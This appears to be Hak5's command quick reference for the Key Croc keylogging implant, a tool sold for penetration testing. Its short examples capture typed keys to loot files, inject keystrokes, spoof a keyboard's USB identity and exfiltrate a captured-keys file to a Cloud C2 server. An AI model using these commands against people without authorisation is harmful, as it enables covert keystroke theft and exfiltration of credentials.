> For the complete documentation index, see [llms.txt](https://documentation.hak5.org/key-croc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://documentation.hak5.org/key-croc/writing-payloads/command-quick-reference.md). # Command Quick Reference ## MATCH ``` MATCH ``` ### **EXAMPLE** ``` MATCH hello ``` Will trigger payload execution when specified pattern is typed. See the [MATCH article](https://docs.hak5.org/hc/en-us/articles/360048015513) for full usage. ## SAVEKEYS ``` SAVEKEYS ``` ### **EXAMPLE** ``` MATCH hello SAVEKEYS /root/loot/test.log NEXT 6 ``` Will save the specified number of keys to a file – either before (LAST) or after (NEXT) the payload MATCH. See the [SAVEKEYS article](https://docs.hak5.org/hc/en-us/articles/360048015513) for full usage. ## QUACK ``` QUACK ``` ### **EXAMPLE** ``` QUACK STRING hello world ``` Will inject keystrokes specified. See the [QUACK article](https://docs.hak5.org/hc/en-us/articles/360047381354) for full usage. ## QUACKFILE ``` QUACKFILE ``` ### **EXAMPLE** ``` QUACK /root/udisk/payloads/my_ducky_script.txt ``` Will inject keystrokes from the specified file. Ducky Script commands in the specified file should not be prepended with Q or QUACK. ## ATTACKMODE ``` ATTACKMODE ``` ### **EXAMPLE** ``` ATTACKMODE HID ECM_ETHERNET VID_0X05AC PID_0X021E MAN_Hak5 SN_1337 ``` Will emulate a USB device from the specified modes and options. See the [ATTACKMODE article](https://docs.hak5.org/hc/en-us/articles/360048016053) for full usage. ## LED ``` LED ``` ### **EXAMPLE** ``` LED SETUP ``` Will control the multi-color LED. See the [LED article](https://docs.hak5.org/hc/en-us/articles/360047383854) for full usage. ## GET\_VARS ``` GET_VARS ``` Will return a set of useful variables which may be referenced in the payload * `$VID` – Vendor ID cloned from attached keyboard or specified in config.txt * `$PID` – Product ID cloned from attached keyboard or specified in config.txt * `$MAN` – Manufacturer specified in config.txt * `$SN` – Serial number specified in config.txt * `$PROD` – Product string specified in config.txt * `$HOST_IP` – IP address of Key Croc after executing an Ethernet `ATTACKMODE` * `$TARGET_IP` – IP address of target after executing an Ethernet `ATTACKMODE` * `$TARGET_HOSTNAME` – Host name of the target after executing an Ethernet `ATTACKMODE` {% hint style="info" %} The `$LOOT` variable is always available after `MATCH` triggers the payload. See the [MATCH article](/key-croc/writing-payloads/the-match-command.md) for `$LOOT` details. {% endhint %} ## RELOAD\_PAYLOADS ``` RELOAD_PAYLOADS ``` Will refresh the Key Croc framework with payload files from /root/udisk/payloads/ ## CHECK\_PAYLOADS ``` CHECK_PAYLOADS ``` Will check the syntax of the payloads currently residing in /root/udisk/payloads/ ## RECORD\_PAYLOAD ``` RECORD_PAYLOAD ``` Will parse each line entered, enabling interactive payload development with helpers. ## ENABLE\_PAYLOAD ``` ENABLE_PAYLOAD ``` ### **EXAMPLE** ``` ENABLE_PAYLOAD my_payload.txt ``` Will enable the specified payload. After enabling a payload, issue RELOAD\_PAYLOADS for the change to take effect. ## DISABLE\_PAYLOAD ``` DISABLE_PAYLOAD ``` ### **EXAMPLE** ``` DISABLE_PAYLOAD my_payload.txt ``` After disabling a payload, issue `RELOAD_PAYLOADS` for the change to take effect. ## INSTALL\_EXTRAS ``` INSTALL_EXTRAS ``` Will install additional third party software such as metasploit, impacket and responder to the `/tools/` directory. ## KEYBOARD ``` KEYBOARD ``` Will return `PRESENT` or `MISSING` depending on whether a keyboard is attached. ## UDISK ``` udisk [ mount | unmount | remount | reformat ] ``` ## WAIT\_FOR\_KEYBOARD\_ACTIVITY ``` WAIT_FOR_KEYBOARD_ACTIVITY ``` ### **EXAMPLE** ``` WAIT_FOR_KEYBOARD_ACTIVITY 1 ``` Will check for keyboard activity for each specified time interval, halting further payload execution until keyboard activity is detected. Example wait until there is keyboard activity within a 1 second window. ## WAIT\_FOR\_KEYBOARD\_INACTIVITY ``` WAIT_FOR_KEYBOARD_INACTIVITY ``` ### **EXAMPLE** ``` WAIT_FOR_KEYBOARD_INACTIVITY 300 ``` Will check for keyboard inactivity, halting further payload execution until the specified time has elapsed with no keyboard activity. Example will wait until there have been no keypresses for 5 minutes (300 seconds) ## WAIT\_FOR\_LOOT ``` WAIT_FOR_LOOT (optional) ``` ### **EXAMPLE** ``` WAIT_FOR_LOOT /root/loot/captured_keys.txt 5 ``` Will wait for the specified file to exist, or if already existing for the file line count to increase, halting further payload execution. Can be used in conjunction with `SAVEKEYS NEXT,` which will write the loot file when the number of specified keys have been typed. Example will wait until the `captured_keys.txt`file exists, checking every 5 seconds. ## C2NOTIFY ``` C2NOTIFY ``` ### **EXAMPLE** ``` C2NOTIFY INFO 'The cake is a lie' ``` Will send a notification to the configured Cloud C2 server. See the [Configuring Cloud C2 article](https://docs.hak5.org/hc/en-us/articles/360047380674). ## C2EXFIL ``` C2EXFIL (optional)STRING (required) (optional) ``` ### **EXAMPLE** ``` C2EXFIL STRING /root/loot/captured_keys.txt My_Payload ``` Will exfiltrate the specified file to the configured Cloud C2 server. See the [Configuring Cloud C2 article](/key-croc/configuring-cloud-c.md).